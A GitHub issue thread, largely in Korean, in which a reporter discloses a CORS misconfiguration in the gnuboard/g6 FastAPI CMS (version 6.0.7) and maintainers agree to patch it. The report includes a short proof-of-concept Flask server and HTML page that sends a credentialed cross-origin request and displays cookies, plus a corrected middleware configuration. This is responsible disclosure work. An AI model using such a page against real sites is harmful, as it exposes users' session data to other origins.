gnuboard / g6

파이썬 게시판 그누보드6 : GNUBOARD6 is Python CMS with fastapi
https://sir.kr
MIT License
247 stars 79 forks source link

CORS Misconfiguration 취약점 제보합니다. #626

Open AkiaCode opened 2 months ago

AkiaCode commented 2 months ago

Version: 6.0.7

Vuln: CORS Misconfiguration

PoC

from flask import Flask, jsonify, send_from_directory

app = Flask(__name__)

@app.route('/')
def serve_html():
    return send_from_directory('', 'index.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8800)
<html>
<body>
    <div id="demo">
        <button type="button" onclick="cors()">Exploit</button>
    </div>
    <script>
        function cors() {
            var xhr = new XMLHttpRequest();
            xhr.onreadystatechange = function() {
                if (this.readyState == 4 && this.status == 200) {
                    var cookies = document.cookie;
                    document.getElementById("demo").innerText = "Cookies: " + cookies;
                    alert("Cookies: " + cookies);

                }
            };
            xhr.open("GET", "http://<gnuboardHost>, true);
            xhr.withCredentials = true;
            xhr.send();
        }
    </script>
</body>
</html>

Impact

Secure Code (core/middleware) 이와 같이 테스트가 아닌 프로덕션 환경에서는 allow_origins에 호스트를 지정 필요

    app.add_middleware(
        CORSMiddleware,
        allow_origins=["http://<gunboardHost>"],
        allow_credentials=True,
        allow_methods=["*"],
        allow_headers=["*"],
    )

Video

ref: https://github.com/gnuboard/g6/commit/b9b6bb7a3f7eaff576c8079f183318f3417896e5 https://github.com/gnuboard/g6/blob/master/core/middleware.py#L81

Junanjunan commented 1 month ago

@AkiaCode 오픈소스 배포 과정에서는 allow_origins를 모두 허용하였습니다. 프로젝트를 진행하시는 상황에 따라 추가하여 사용하시길 권장드립니다.

AkiaCode commented 1 month ago

@Junanjunan 아하, 그렇군요 저는 커밋 내용 중 테스트용으로 모두 허용하도록 추가 글에서 테스트용으로 추가하셨길래, 배포 과정에서 의도되지 않은 로직이 추가된 줄 알았습니다. 그리고, fastapi cors에서는 allow_credentials가 True일 때, allow_origins가 *로 설정할 수 없습니다.

image ref: https://fastapi.tiangolo.com/ko/tutorial/cors, https://fastapi.tiangolo.com/tutorial/cors, https://github.com/tiangolo/fastapi/blob/912524233b535a1d45b54863b2c4e0bd2464b193/docs_src/cors/tutorial001.py#L16

p.s. 해결 방법으로는 하드코딩보다 .env 파일에 CORS config를 추가하여 ALLOW_ORIGINS를 직접 설정할 수 있게 만드는 것이 좋을 것 같습니다.

Junanjunan commented 1 month ago

@AkiaCode 네, 말씀해주신 부분을 다음 패치에 반영하도록 하겠습니다. 감사합니다.